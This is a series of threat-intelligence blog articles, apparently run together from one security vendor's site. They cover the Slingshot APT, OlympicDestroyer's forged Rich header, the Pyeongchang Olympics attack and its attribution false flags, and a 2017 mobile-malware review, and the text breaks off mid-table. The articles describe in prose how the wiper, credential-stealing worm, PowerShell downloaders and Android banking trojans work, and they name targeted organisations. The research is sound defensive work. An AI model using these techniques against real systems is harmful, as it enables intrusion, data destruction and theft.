The malicious samples investigated by the researchers were marked as ‘version 6.x’, which suggests the threat has existed for a considerable length of time. The development time, skill and cost involved in creating Slingshot’s complex toolset is likely to have been extremely high. Taken together, these clues suggest that the group behind Slingshot is likely to be highly organized and professional and probably state-sponsored.

Text clues in the code suggest it is English-speaking. Some of the techniques used by Slingshot, such as the exploitation of legitimate, yet vulnerable drivers has been seen before in other malware, such as White and Grey Lambert. However, accurate attribution is always hard, if not impossible to determine, and increasingly prone to manipulation and error.

Read more in our technical paper.

The devil’s in the Rich header

In our previous blog, we detailed our findings on the attack against the Pyeongchang 2018 Winter Olympics. For this investigation, our analysts were provided with administrative access to one of the affected servers, located in a hotel based in Pyeongchang county, South Korea. In addition, we collected all available evidence from various private and public sources and worked with several companies to investigate the command and control (C&C) infrastructure associated with the attackers.

During this investigation, one thing stood out – the attackers had pretty good operational security and made almost no mistakes. Some of our colleagues from other companies pointed out similarities with Chinese APT groups and Lazarus. Yet, something about these potential connections didn’t quite add up. This made us look deeper for more clues.

The attackers behind OlympicDestroyer employed several tricks to make it look similar to the malicious samples attributed to the Lazarus group. The main module of OlympicDestroyer carries five additional binaries in its resources, named 101 to 105 respectively. It is already known that resources 102 and 103, with the internal names ‘kiwi86.dll’ and ‘kiwi64.dll’ share considerable amounts of code with other known malware families only because they are built on top of the Mimikatz open-source tool. Resource 105, however is much more interesting in terms of attribution.

Resource 105 is the ‘wiper’ component of OlympicDestroyer. This binary launches a destructive attack on the victim’s network; it removes shadow copy backups, traverses the shared folders on the networks and deletes files. Anyone familiar with the wipers attributed to the Lazarus group will find strong similarities in the file deletion routines:

File deletion routines.
To the left 3c0d740347b0362331c882c2dee96dbf (OlympicDestroyer), on the right 1d0e79feb6d7ed23eb1bf7f257ce4fee (BlueNoroff by Lazarus).

Both functions do essentially the same thing: they delete the file by wiping it with zeroes, using a 4096 bytes memory block. The minor difference here is that the original Bluenoroff routine doesn’t just return after wiping the file, but also renames it to a new random name and then deletes it. So, the similar code may be considered as no more than a weak link.

A much more interesting discovery appeared when we started looking for various kinds of metadata of the PE file. It turned out that that the wiper component of OlympicDestroyer contained the exact ‘Rich’ header that appeared previously in Bluenoroff samples.

MZ DOS and Rich headers of both files (3c0d740347b0362331c882c2dee96dbf – OlympicDestroyer, 5d0ffbc8389f27b0649696f0ef5b3cfe – BlueNoroff) are exactly the same.

This provided us with an interesting clue: if files from both the OlympicDestroyer and Bluenoroff families shared the same Rich header it meant that they were built using the same environment and, having already found some similarities in the code, this could have meant that there is a real link between them. To test this theory, we needed to investigate the contents of the Rich header.

The Rich header is an undocumented structure that appears in most of the PE files generated with the ‘LINK.EXE’ tool by Microsoft. Effectively, any binary built using the standard Microsoft Visual Studio toolset contains this header. There is no official documentation describing this structure, but there is enough public information that can be found on the internet, and there is also the LINK.EXE itself that can be reverse engineered. So, what is a Rich header?

A Rich header is a structure that is written right after the MZ DOS header. It consists of pairs of 4-byte integers. It starts with the magic value, ‘DanS’ and ends with a ‘Rich’ followed by a checksum. And it is also encrypted using a simple XOR operation using the checksum as the key. The data between the magic values encodes the ‘bill of materials’ that were collected by the linker to produce the binary.

Offset First value Second value Description
00 44 61 6E 53 (“DanS”) 00 00 00 00 Beginning of the header
08 00 00 00 00 00 00 00 00 Empty record
10 Tool id, build version Number of items Bill of materials record #1
52 69 63 68 “Rich” Checksum / XOR key End of the header

The first value of each record is a tool identifier: the unique number of the tool (‘C++ compiler’, ‘C compiler’, ‘resource compiler’, ‘MASM’, etc.), a Visual Studio specific, and the lowest 16 bits of the build number of the tool. The second value is a little-endian integer that is a number of items that were produced by the tool. For example, if the application consists of three source C++ files, there will be a record with a tool id corresponding to the C++ compiler, and the item count will be exactly ‘3’.

The Rich header in OlympicDestroyer’s wiper component can be decoded as follows:

It is a typical example of a header for a binary created with Visual Studio 6. The ‘masm613’ items were most likely taken from the standard runtime library, while the items marked as ‘VC 2003’ correspond to libraries imported from a newer Windows SDK – the code uses some Windows API functions that were missing at the time VC 6 was released. So, basically it looks like a C++ application having three source code files and using a slightly newer SDK to link the Windows APIs. The description perfectly matches the contents of the Bluenoroff sample that has the same Rich header (i.e. 5d0ffbc8389f27b0649696f0ef5b3cfe).

We get very different results when trying to check the validity of the Rich header’s entries against the actual contents of OlympicDestroyer wiper’s component. Even a quick visual inspection of the file shows something very unusual for a file created with Visual Studio 6: references to ‘mscoree.dll’ that did not exist at the time.

References to “mscoree.dll” and error messages typical for the MSVC libraries

After some experimentation and careful comparison of binaries generated by different versions of Visual Studio, we can name the actual version of Studio that was used: it is Visual Studio 2010 (MSVC 10). Our best proof is the code of the ___tmainCRTStartup function that is only produced with the runtime library of MSVC 10 (DLL runtime) using default optimizations.

Beginning of the disassembly of the ___tmainCRTStartup function of the OlympicDestroyer’s wiper component, 3c0d740347b0362331c882c2dee96dbf

It is not possible that the binary was produced with a standard linker and was built using the MSVC 2010 runtime, having the 2010’s startup code invoking the WinMain function and at the same time did not have any Rich records referring to VC/VC++ 2010. At the same time, it could not have the same number of Rich records for the VC6 code that is missing from the binary!

A binary produced with Visual Studio 2010 and built from the same code (decompiled), having the same startup code and almost identical to the wiper’s sample will have a Rich header that is totally different:

The only reasonable conclusion that can be made is that the Rich header in the wiper was deliberately copied from the Bluenoroff samples; it is a fake and has no connection with the contents of the binary. It is not possible to completely understand the motives of this action, but we know for sure that the creators of OlympicDestroyer intentionally modified their product to resemble the Bluenoroff samples produced by the Lazarus group.

The forgotten sample

During the course of our investigation, we came across a sample that further consolidates the theory of the Rich header false flag from Lazarus.

The sample, 64aa21201bfd88d521fe90d44c7b5dba was uploaded to a multi-scanner service from France on 2018-02-09 13:46:23, as ‘olymp.exe’. This is a version of the wiper malware described above, with several important changes:


  • The 60 minutes delay before shutdown was removed
  • Compilation timestamp is 2018-02-09 10:42:19
  • The Rich header appears legit

The removal of the 60 minutes’ delay indicates the attackers were probably in a rush and didn’t want to wait before shutting down the systems. Also, if true, the compilation timestamp 2018-02-09 10:42:19 puts it right after the attack on the Pyeonchang hotels, which took place at around 9:00 a.m. GMT. This suggests the attackers compiled this ‘special’ sample after the wiping attack against the hotels and, likely as a result of their hurry, forgot to fake the Rich header.


The existence of the fake Rich header from Lazarus samples in the new OlympicDestroyer samples indicates an intricate false flag operation designed to attribute this attack to the Lazarus group. The attackers’ knowledge of the Rich header is complemented by their gamble that a security researcher would discover it and use it for attribution. Although we discovered this overlap on February 13th, it seemed too good to be true. On the contrary, it felt like a false flag from the beginning, which is why we refrained from making any connections with previous operations or threat actors. This newly published research consolidates the theory that blaming the Lazarus group for the attack was parts of the attackers’ strategy.

We would like to ask other researchers around the world to join us in investigating these false flags and attempt to discover more facts about the origin of OlympicDestroyer.

If you would like to read more about Rich header, we can recommend a nice presentation on this from George Webster and Julian Kirsch or Technical University of Munich.


3c0d740347b0362331c882c2dee96dbf – wiper with the fake Lazarus Rich header
64aa21201bfd88d521fe90d44c7b5dba – wiper the original Rich header and no delay before shutdown

OlympicDestroyer is here to trick the industry

A couple of days after the opening ceremony of the Winter Olympics in Pyeongchang, South Korea, we received information from several partners, on the condition of non-disclosure (TLP:Red), about a devastating malware attack on the Olympic infrastructure. A quick peek inside the malware revealed a destructive self-modifying password-stealing self-propagating malicious program, which by any definition sounds pretty bad.

According to media reports, the organizers of the Pyeongchang Olympics confirmed they were investigating a cyberattack that temporarily paralyzed IT systems ahead of official opening ceremonies, shutting down display monitors, killing Wi-Fi, and taking down the Olympics website so that visitors were unable to print tickets. We also found other attempts to wreak havoc at companies working closely with the Winter Olympics.

Malware features

Several files related to the cyberattack were uploaded to VirusTotal on the day of the attack and were quickly picked up by other security researchers. As we were researching this attack, the Cisco Talos team published a brief description of the malware which Talos got from an undisclosed source. In their blog Talos highlighted some similarities between the attack, Netya (Expetr/NotPetya) and BadRabbit (targeted ransomware).

The Talos publication effectively removed the TLP constraint as the information had now become public and could be referenced in this way. However, we decided not to jump to conclusions, especially with regards to attribution, and spent time researching it calmly and methodologically, while we continued to discover more and more false flags and controversies in the malware.

The main malware module is a network worm that consists of multiple components, including a legitimate PsExec tool from SysInternals’ suite, a few credential stealer modules and a wiper. From a technical perspective, the purpose of the malware is to deliver and start the wiper payload which attempts to destroy files on the remote network shares over the next 60 minutes. Meanwhile, the main module collects user passwords from browser and Windows storage and crafts a new generation of the worm that contains old and freshly collected compromised credentials. The new generation of the worm is pushed to accessible local network computers and starts using the PsExec tool, leveraging the collected credentials and current user privileges.

Once the wiper has run for 60 minutes it cleans Windows event logs, resets backups, deletes shadow copies from the file system, disables the recovery item in the Windows boot menu, disables all the services on the system and reboots the computer. Those files on the network shares that it managed to wipe within 60 minutes remain destroyed. The malware doesn’t use any persistence and even contains protection (also a killswitch) against recurring reinfection. Incidentally, only 1MB of the remote files are fully overwritten with zeroes; larger files were wiped with just 1K of zeroes in the header. The local files are not destroyed and the worm doesn’t wipe itself or its components.

Fig.1 OlympicDestroyer component relations

Reconnaissance stage

Several companies have blogged about OlympicDestroyer’s attribution, it’s features and propagation method, but no one has discovered how exactly it was launched and from where. That’s where we had a little bit more luck.

Since December 2017 security researchers have been seeing samples of MS Office documents in spearphishing emails related to the Winter Olympics uploaded to VirusTotal. The documents contained nothing but slightly formatted gibberish to make it look like the text had an encoding problem, encouraging the user to press a button to “Enable Content”.

Fig.2 Screenshot of attachment from a spearphishing email.

When the victim “enables content”, the document starts a cmd.exe with a command line to execute a PowerShell scriptlet that, in turn, downloads and executes a second stage PowerShell scriptlet and, eventually, backdoors the system. The only apparent links between this email campaign and OlympicDestroyer would have been the target, however, we managed to discover a couple of connections between this weaponized document and the attack in Pyeongchang which makes us believe they are related.

For this investigation, our analysts were provided with administrative access to one of the affected servers located in a hotel based in Pyeongchang county, South Korea. A triage analysis was conducted on this Windows server system. The affected company also kindly provided us with the network connections log from their network gateway. Thanks to this, we confirmed the presence of malicious traffic to a malicious command and control server at IP 131.255.*.* which is located in Argentina. The infected host established multiple connections to this server on ports from the following list:


  • 443
  • 4443
  • 8080
  • 8081
  • 8443
  • 8880

The server in Argentina was purchased from a reseller company in Bulgaria, which kindly assisted us in this investigation. The company shared that the server was purchased from Norway, by a person using a Protomail account:

Name: Simon ***

Email: simon***@protonmail.com

Last Login Date: 2018-02-07 16:09

IP Address: 82.102.*.* (Norway)

Server purchased on: 2017-10-10

We were able to further connect this to a suspicious looking domain, with a registration address and phone number from Sweden:

Domain: microsoft******[.]com

Registration name: Elvis ****

Email: elvis***@mail.com

Registration date: 2017-11-28

Before getting suspended in December 2017 for failing the ICANN email verification check, the domain registration was privacy-protected. This shielded the registration data, except the DNS servers, which indicate it was purchased via MonoVM, a VPS for a bitcoin provider:


  • Name Server: monovm.earth.orderbox-dns[.]com
  • Name Server: monovm.mars.orderbox-dns[.]com
  • Name Server: monovm.mercury.orderbox-dns[.]com
  • Name Server: monovm.venus.orderbox-dns[.]com

Name server history:

Fig.3 Name server history for microsoft*****.com

This email popped up as a contact detail for a small network inside the 89.219.*.* range that is located in Kazakhstan. This is where the trail ends for now. We apologize for not disclosing the full information as we would like to avoid random interactions with this contact. Full information has been provided to law enforcement agencies and customers subscribed to our APT Intel reporting service.

To manage the server in Argentina, Simon *** used the IP address in Norway (82.102.*.*). This is the gateway of a VPN service known as NordVPN (https://nordvpn.com/) that offers privacy-protected VPN services for bitcoins.

It’s not the first time the name NordVPN has cropped up in this case. We previously saw a weaponized Word document used in spearphishing emails targeting the Winter Olympics that contained something that looked like garbage text taken from a binary object (e.g. pagefile or even raw disk). However, part of the random data included two clearly readable text strings (highlighted below) that made it into the document (md5: 5ba7ec869c7157efc1e52f5157705867) for no obvious reason:

Fig. 4 A reference to NordVPN openvpn config file

Of course, this is a low confidence indicator, but seems to be another link between the spearphishing campaign on the Winter Olympics and the attackers responsible for launching the OlympicDestroyer worm. In addition, this document includes a PowerShell command that closely resembles the PowerShell backdoor found in the network of the OlympicDestroyer victim. A comparison of this code is available below.

The PowerShell scripts listed below were used in the weaponized documents and as standalone backdoors. As standalone fileless backdoors, they were built and obfuscated using the same tool. Both scripts use a similar URL structure and both implement RC4 in PowerShell, as well as using a secret key passed to the server in base64 via cookies.

Spearphishing case in South Korea Powershell found on OlympicDestroyer victim

Lateral movement

Despite the network worm’s self-replicating feature, the attackers did some manual lateral movement before starting on the destructive malware. We believe this was done to look for a better spot to release the worm. They seemed to be moving through the network via Psexec and stolen credentials, opening a default meterpreter port (TCP 4444) and downloading and running a backdoor (meterpreter). The attackers also checked the network configuration, potentially searching for servers attached to multiple networks or VPN links in order to penetrate adjacent networks that could be linked to the Olympic Committee infrastructure.

One of the hosts in the network of the affected ski resort hotel had Kaspersky Lab’s system watcher component enabled, which collected quite a few of the artifacts used by the attackers for lateral movement. According to the telemetry from this host, the attackers entered the system on 6 February, 2018. They used three types of PowerShell scriptlets: TCP 4444 port opener, ipconfig launcher and a downloader.

Based on telemetry we received from one of the hosts, we built a timeline of the attackers’ activity and a histogram showing when the attackers started executables on the system.

Fig.5 Histogram with attacker activity per hour of day

From this we can see that the attackers were mostly busy outside of office hours according to Korean Standard Time (UTC+9), perhaps to attract less attention or simply due to their own timezone.

Worm propagation

OlympicDestroyer is a network worm that collects user credentials with hostnames. New data is appended to the end of an existing collection. Having multiple samples of the worm from different networks allows us to reconstruct the path of the worm and find the source of distribution (or at least its hostname and list of users).

Fig.6 OlympicDestroyer worm propagation

The diagram above was built based on extracted lists of credentials with hostnames and some alleged roles of the servers based on respective names. We can see there were at least three independent launch pads for the worm: Atos.net company, ski resort hotels, and the Pyeongchang2018.com server.

At some point, samples with a list of credentials were uploaded to VirusTotal where they were found by security researchers that executed the worm in a sandbox environment and uploaded the new generation on VirusTotal again. There are a number of samples on VT that contain credentials from those sandbox machines. Nevertheless, it’s clear the network worm wasn’t started there initially, but was instead coming from one of the known launch pads.


Spearphishing emails were used to target the networks of official partners of the Winter Olympics. The attackers probably went to the official website to find out the names of the partner companies, figured out their domain names, collected known email addresses and started bombarding them with spearphishes.

One of these weaponized documents was uploaded to VT from South Korea on 29 December, 2017 inside an email file (6b728d2966194968d12c56f8e3691855). The sender address imitates the South Korean NCTC (National Counter-Terrorism Center), while the sender’s server IP originates from a server in Singapore.

Fig.7 Fake sender address.

The email appears to have been sent to [email protected][.]com. However, the real targets are in the following list:

Industry Target Company/Organization Domain
Government organization airport.co.kr
Enterprise sk.com
Energy esco-posco.co.kr
Semiconductor skhynix.com
Transport koreanair.com
Hospital gnah.co.kr
Media donga.com
Advertising ppcom.kr
samikdisplay.co.kr (LED display company)
[email protected] (LED Panel Advertising company email)
Resort/Hotel alpensiaresort.co.kr

The attackers appear to have got sloppy when they searched for email addresses that ended with those targeted domains. Using short domain names such as sk.com or kt.com wasn’t a good idea. This went unnoticed and a few totally unrelated companies with domain names ending with sk.com and kt.com received spearphishing emails:


  • krovy-com (Wood company in Slovakia)
  • okc-com (Mining-related company in Canada)
  • bcel-com (Finance company in Laos)
  • kuhlecom (Software company in Australia)
  • wertprojecom (Real estate company in Germany)

Based on all the evidence we discovered, the following networks seem to have been breached in the attack:


  • Software vendor responsible for automation at ski resorts
  • Two ski resort hotels in South Korea
  • IT service provider (Atos.net) headquartered in France
  • com attached network

Considering the malware was spread as a network worm via Windows network shares, collateral damage was inevitable. Through one of the victims who uploaded the dropper file to VT from Austria, we were able to extract the hostname from the stolen credentials stored in the malware: ATVIES2BQA. While it may look like a random sequence of characters at first glance, we speculate that AT stands for the host country code (Austria) which matches the submitter source country, followed by the organization name “VIES” with some extra random characters uniquely identifying the host. According to OSINT, there is only one large organization that matches this name in Austria – the VAT Information Exchange System used throughout the European Union. VIES is a search engine owned by the European Commission. So, it’s either a compromised host of Atos which role is to communicate with the Austrian VIES or the Austrian VIES indeed is indeed in collateral damage of the malware’s network propagation.

But the main outbreak of the worm that we investigated was at a hotel in a South Korean winter resort. The hotel didn´t upload any samples to VT, which is why it remained unknown. We assume many other companies attacked in South Korea did the same, which reduced the visible surface of the attacked infrastructure.

While we cannot name the hotel chain, we can say that one of its hotels located in a ski resort in Pyeongchang was subjected to an attack. Despite the close proximity to the Olympic Games, the resort was not one of the official winter parks staging the games. However, it is definitely part of the surrounding infrastructure that hosted numerous guests and possibly even sports teams competing at the Olympics. In an interview with the owners, we found out that the malware disabled ski gates and ski lifts that were operated from one of the attacked servers. Our analysis showed that this was not collateral damage. The attackers deliberately chose to start the spread of the destructive worm from this dedicated ski resort automation server. That server was the so-called patient-zero in the network. The timing was also chosen to precede the official opening ceremony by a couple of hours, allowing the worm to propagate deep enough into networks to cause maximum inconvenience for those using the affected infrastructure. As a matter of fact, the plan was to let the worm gain better visibility in the news.

Attribution hell

In their blog the Cisco Talos researchers also pointed out that OlympicDestroyer used similar techniques to Badrabbit and NotPetya to reset the event log and delete backups. Although the intention and purpose of both implementations of the techniques are similar, there are many differences in the code semantics. It’s definitely not copy-pasted code and because the command lines were publicly discussed on security blogs, these simple techniques became available to anyone who wants to use them.

Fig.8 Event logs cleaning and disabling system recovery in OlympicDestroyer and NotPetya

Soon after the Talos publication, Israeli company IntezerLabs tweeted that they had found links to Chinese APT groups.

Fig.9 Announcement of connection to Chinese APTs by IntezerLabs on 12 Feb, 2018

IntezerLabs released a blogpost with an analysis of features found using their in-house malware similarity technology.

A few days later media outlets started publishing articles suggesting potential motives and activities by Russian APT groups: “Crowdstrike Intelligence said that in November and December of 2017 it had observed a credential harvesting operation operating in the international sporting sector. At the time it attributed this operation to Russian hacking group Fancy Bear”…”.

On the other hand, Crowdstrike’s own VP of Intelligence, Adam Meyers, in an interview with the media said: “There is no evidence connecting Fancy Bear to the Olympic attack”.

However, a couple of weeks later, the Russian trace was brought up again by the Washington Post, which claimed that Russian military spies were behind the Winter Olympics attack, citing “two U.S. officials who spoke on the condition of anonymity”. Unfortunately, such articles based on anonymous sources contain no verifiable information and bring no real answers – they only spread rumors.

Microsoft’s security team also seems to have been tricked by the malware as their internal detection was triggered on the potential use of EternalRomance exploit (MS17-010).

Fig.10 Microsoft security team claims they found EternalRomance in OlympicDestroyer

A couple of days later Microsoft had to retract those claims as they were simply not confirmed.

Fig.11 Microsoft security team retracts previous claims in a subsequent tweet

The day after we released a private report with forensic findings and detailed analysis of this attribution hell to our APT Intel subscribers (for more information please contact: [email protected]), the Cisco Talos team decided to revisit OlympicDestroyer and go public with a similar review. We сan’t help but agree with this nice write-up with code comparison, because we came to very similar conclusions.

In addition, Talos researchers noted that the evtchk.txt filename, which the malware used as a potential false-flag during its operation, was very similar to the filenames (evtdiag.exe, evtsys.exe and evtchk.bat) used by BlueNoroff/Lazarus in the Bangladesh SWIFT cyberheist in 2016.

Recorded Future decided to not attribute this attack to any actor; however, they claimed that they found similarities to BlueNoroff/Lazarus LimaCharlie malware loaders that are widely believed to be North Korean actors.

We can’t dispute that part of the code really does resemble the Lazarus code. The wiper modules used in OlympicDestroyer (MD5: 3c0d740347b0362331c882c2dee96dbf) and Bluenoroff (MD5: 5d0ffbc8389f27b0649696f0ef5b3cfe) used similar code to wipe files.

Fig.12 Comparison of wiping module (left: Bluenoroff tool; right: OlympicDestroyer)

There is also a high level of similarity between Lazarus and OlympicDestroyer. There are modules in both campaigns that used the same technique to decrypt a payload in memory using a secret password provided via a command line. Lazarus used this in their malware loaders (Recorded Future also mentions a similarity in malware loader code) to protect their backdoor modules from reverse engineering as they contained some default C2 information.

Despite the resemblance in the method, there are significant differences in its usage:


  1. Lazarus used long and reliable alphanumeric passwords (30+ characters long). OlympicDestroyer on the contrary used a very simple password: “123”.
  2. Lazarus never hardcoded its passwords for protected payloads into the malware body. OlympicDestroyer on the contrary hardcoded it (there was actually no other way, because the worm had to spread itself and run fully autonomously). That’s why the whole idea of using password-protected payloads in the network worm looks ridiculous, and we believe it’s unlikely an actor such as Lazarus would implement techniques like that considering their previous TTPs.

The possibility of North Korean involvement looked way off mark, especially since Kim Jong-un’s own sister attended the opening ceremony in Pyeongchang. According to our forensic findings, the attack was started immediately before the official opening ceremony on 9 February, 2018.

What we discovered next brought a big shock. Using our own in-house malware similarity system we have discovered a unique pattern that linked Olympic Destroyer to Lazarus. A combination of certain code development environment features stored in executable files, known as Rich header, may be used as a fingerprint identifying the malware authors and their projects in some cases. In case of Olympic Destroyer wiper sample analyzed by Kaspersky Lab this “fingerprint” gave a 100% match with previously known Lazarus malware components and zero overlap with any other clean or malicious file known to date to Kaspersky Lab.

Yet the motives and other inconsistencies with Lazarus TTPs made some of our researchers skeptically revisit that rare artefact. With another careful look into these evidence and manual verification of each feature we discovered that the set of features doesn’t match the actual code. At that moment it became clear that the set of features was simply forged to perfectly match the fingerprint used by Lazarus. Considering that this is not very well explored area in malware analysis and attribution, we decided to share some more information on how we proved in a dedicate blogpost with some deep technical details.

We also noticed that there exists a wiper module with original Rich header and it was uploaded to VirusTotal from France where one of the victims (Atos) is located. The compilation timestamp was 2018-02-09 10:42:19 which is almost 2 hours after attack in Pyeongchang ski resorts started. It’s unclear what went wrong but it looks like the attackers rushed to modify the worm’s wiper component, so that it immediately disabled system services and rebooted the machine instead of waiting for 60 minutes. They seem to wanted immediate results as there were just minutes before the official opening ceremony started.

Considering all of the above it it now looks like a very sophisticated false flag which was placed inside the malware intentionally in order to give threat hunter impression that they found a smoking gun evidence, knocking them of the trail to the accurate attribution.


What conclusions can we draw from this?

It really depends on how clever the attacker behind this campaign is.

If Lazarus was the smartest of all, then they could have crafted a sophisticated false flag that would be hard to discover, requiring even more sophistication to prove it’s a forgery. However, the level of researcher sophistication is something that’s difficult for attackers to gauge. The level of complexity we’re talking about would definitely reduce reliability and couldn’t guarantee that everything went to plan. In addition, Lazarus had no rational motive to conduct this attack, not to mention TTPs that obviously weren’t theirs.

Speaking of TTPs, we have seen attackers using NordVPN and MonoVM hosting. Both services are available for bitcoins, which make them the perfect tool for APT actors. This and several other TTPs have in the past been used by the Sofacy APT group, a widely known Russian-language threat actor. A year ago we published our research about the Lazarus APT group using false flags in attacks against banks around the world that pointed to a Russian origin. Was it payback from Russian-speaking Sofacy or was it someone else trying to frame Sofacy? The muddied waters of this case mean we are yet to get a clear answer.

There are some open questions about the attacker’s motivation in this story. We know that the attackers had administrative accounts in the affected networks. By deleting backups and destroying all local data they could have easily devastated the Olympic infrastructure. Instead, they decided to do some “light” destruction: wiping files on Windows shares, resetting event logs, deleting backups, disabling Windows services and rebooting systems into an unbootable state. When you add in the multiple similarities to TTPs used by other actors and malware, intentional false flags and relatively good opsec, it merely raises more questions as to the purpose of all this.

As we see it, these are some of the possible motives behind the attack:


  1. Demonstration of power/skills in the context of a secret communication that we’re unaware of. The potential for full-blown, highly destructive cybersabotage might be a strong argument in top-secret political negotiations.
  2. Testing of destructive worm capability, but with lower impact to avoid too much attention from potential investigators and general public (in case of human error or operational failure).
  3. Trap threat intel researchers in a field of false flags and, based on their responses, learn how to implement the perfect false flag.

The last option makes sense when you consider that the malware contained a wiper that wasn’t used to wipe its own components – the authors wanted it to be discovered.

For a powerful attacker learning how to reliably craft false flags and trick researchers into attributing the attack to someone else can mean gaining the ultimate cover – total immunity against attribution. But this kind of rocket science requires real-life experiments.

We think the carefully orchestrated OlympicDestroyer campaign played a very important role that will shape APT research in the future. While it didn’t fully sabotage the Winter Olympic games in Pyeongchang, its effects were noticed not only in South Korea but also in Europe. Most importantly, it brings with it a potential threat to the attribution process, undermining trust in intel research findings.

There’s a lesson to be taken from this attack that’s useful for all of us in threat intelligence – don’t rush with attribution. This is a very delicate subject that should be handled with great care. We as an industry shouldn’t sacrifice the accuracy of our research to opportunistically promote business.

Known Olympic Destroyer executables


Mobile malware evolution 2017

The year in figures

In 2017, Kaspersky Lab detected the following:


  • 5,730,916 malicious installation packages
  • 94,368 mobile banking Trojans
  • 544,107 mobile ransomware Trojans

Rooting malware: no surrender

For the last few years, rooting malware has been the biggest threat to Android users. These Trojans are difficult to detect, boast an array of capabilities, and have been very popular among cybercriminals. Their main goal is to show victims as many ads as possible and to silently install and launch the apps that are advertised. In some cases, the aggressive display of pop-up ads and delays in executing user commands can render a device unusable.

Rooting malware usually tries to gain super-user rights by exploiting system vulnerabilities that allow it to do almost anything. It installs modules in system folders, thus protecting them from removal. In some cases – Ztorg, for example – even resetting the device to factory settings won’t get rid of the malware. It’s worth noting that this Trojan was also distributed via the Google Play Store – we found almost 100 apps there infected by various Ztorg modifications. One of them had even been installed more than a million times (according to store statistics).

Another example is Trojan.AndroidOS.Dvmap.a. This Trojan uses root rights to inject its malicious code into the system runtime libraries. It was also distributed via the Google Play Store and has been downloaded more than 50,000 times.

System library infected by Trojan.AndroidOS.Dvmap.a

The number of users attacked by rooting malware in 2017 decreased compared to the previous year. However, this threat is still among the most popular types of malware – almost half the Trojans in our Top 20 rating belong to families that can get root privileges. The decrease in their popularity among cybercriminals was most probably due a decline in the number of devices running older versions of Android – the malware’s main targets. According to Kaspersky Lab data, the percentage of users with devices running Android 5.0 or older declined from more than 85% in 2016 to 57% in 2017, while the proportion of Android 6.0 (or newer) users more than doubled – 21% in 2016 compared to 50% in 2017 (6% of users updated their devices during 2016, 7% – during 2017). Newer versions of Android don’t yet have common vulnerabilities that allow super-user rights to be gained, which is disrupting the activity of rooting malware.

Ztorg family Trojans were distributed via the Google Play Store and actively advertised

But the decline in popularity doesn’t mean the developers have completely given up on these Trojans. There are some that continue to flood devices with ads, downloading and initializing installation of various apps, only now without exploiting vulnerabilities to obtain super-user rights. Moreover, they’re still difficult to remove thanks to a variety of system features, such as device administrator capabilities.

Of course, during the year, the attackers tried to modify or change the capabilities of their Trojans in order to preserve and increase profits. In particular, we discovered the Ztorg family using a new money-making scheme that involved sending paid text messages. Two of them, detected by Kaspersky Lab products as Trojan-SMS.AndroidOS.Ztorg.a, were downloaded from the Google Play Store tens of thousands of times. Moreover, we discovered additional modules for ‘standard’ Ztorg family Trojans that could not only send paid text messages but also steal money from a user’s account by clicking on sites with WAP subscriptions. To do this, the Trojans used a special JS file, downloaded from the criminals’ servers.

Trojan-SMS.AndroidOS.Ztorg.a in Google Play Store

The return of the WAP clickers

It wasn’t just the creators of rooting malware that were attracted to WAP billing – in 2017, we discovered lots of new WAP Trojans. Although this behavior cannot be called new – Trojan-SMS.AndroidOS.Podec has been around since 2015 – 2017 was the year that saw a growth in the number of WAP clickers.

The user sees a standard interface, while Trojan-Clicker.AndroidOS.Xafekopy steals money.

These Trojans generally work in the following way: they receive a list of links from the C&C, follow them (usually unnoticed by the user) and ‘click’ on page elements using a specially created JS file. In some cases, the malware visits regular advertising pages (i.e., they steal money from advertisers, rather than from the user); in other cases, they visit pages with WAP subscriptions, with the money being taken from the user’s mobile account.

Part of the JS file used by Trojan-Clicker.AndroidOS.Xafekopy to click a button

A page with WAP billing usually redirects to a mobile operator page where the user confirms they agree to pay for the services. However, this doesn’t stop the Trojans – they are able to click these pages as well. They can even intercept and delete SMSs sent by mobile operators containing information about the service costs.

The dynamic development of mobile banking Trojans

Mobile bankers were also actively evolving throughout the whole of 2017, offering new ways to steal money. We discovered a modification of the FakeToken mobile banker that attacked not only financial apps but also apps for booking taxis, hotels, tickets, etc. The Trojan overlays the apps’ interfaces with its own phishing window where a user is asked to enter their bank card details. It’s worth noting that these actions appear quite normal to the user: the targeted apps are designed to make payments and are therefore likely to request this sort of data.

Code of Trojan-Banker.AndroidOS.Faketoken.q

The latest versions of Android OS include lots of different tools designed to prevent malware from performing malicious actions. However, banking Trojans are constantly looking for ways to bypass these new restrictions, and in 2017 we saw some striking examples of this. In July, we discovered a new Trojan-Banker.AndroidOS.Svpeng.ae modification capable of granting itself the necessary permissions. The Trojan gets round these restrictions by using accessibility services – Android functions designed to create applications for users with disabilities. The Trojan asks the victim for permission to use accessibility services and grants itself some dynamic permissions that include the ability to send and receive SMSs, make calls, and read contacts. The Trojan also adds itself to the list of device administrators, thereby preventing uninstallation. It can also steal data that the user enters into other apps, i.e. operates as a keylogger.

Svpeng added itself to the list of device administrators

In August, we came across yet another representative of the Svpeng mobile malware family that used accessibility services. This modification had a different goal – it blocked the device, encrypted the user’s files and demanded a ransom in bitcoins.

Trojan-Banker.AndroidOS.Svpeng.ag. demands a ransom

The rise and fall of mobile ransomware programs

The first half of 2017 was marked by a rapid growth in the number of new installation packages for mobile Trojan ransomware – in just six months we detected 1.6 times more files than in the whole of 2016. However, from June 2017, the statistics returned to normal. Interestingly, the growth was triggered by just one family – Ransom.AndroidOS.Congur. Over 83% of all installation packages for mobile Trojan ransomware detected in 2017 belonged to this family. Basically, this is extremely simple malware that changes (or sets) the PIN code on the device and asks the owner to contact the attackers via the QQ messenger.


Throughout the year mobile ransomware remained both simple and effective, with its capabilities and techniques almost unchanged: it overlaid all other windows with its own window, blocking the operation of the device. It should be noted that two popular mobile banking families – Svpeng and Faketoken – acquired modifications capable of encrypting user files, though in general encryptor functionality wasn’t that popular among mobile Trojans.


In 2017, Kaspersky Lab detected 5,730,916 mobile malicious installation packages, which is almost 1.5 times fewer than in the previous year, although more than in any other year before and almost twice as much as in 2015.

Despite the decrease in the number of detected malicious installation packages, in 2017 we registered a growing number of mobile malware attacks – 42.7 million vs. 40 million in 2016.

Number of attacks blocked by Kaspersky Lab products in 2017

The number of attacked users also continued to rise – from the beginning of January until the end of December 2017, Kaspersky Lab protected 4,909,900 unique users of Android devices, which is 1.2 times more than in 2016.

Number of users protected by Kaspersky Lab products in 2017

Geography of mobile threats

Attacks by malicious mobile software were registered in more than 230 countries and territories.

Geography of mobile threats by number of attacked users, 2017

Top 10 countries attacked by mobile malware (by percentage of users attacked):

Country* %**
1 Iran 57.25
2 Bangladesh 42.76
3 Indonesia 41.14
4 Algeria 38.22
5 Nigeria 38.11
6 China 37.63
7 Côte d’Ivoire 37.12
8 India 36.42
9 Nepal 34.03
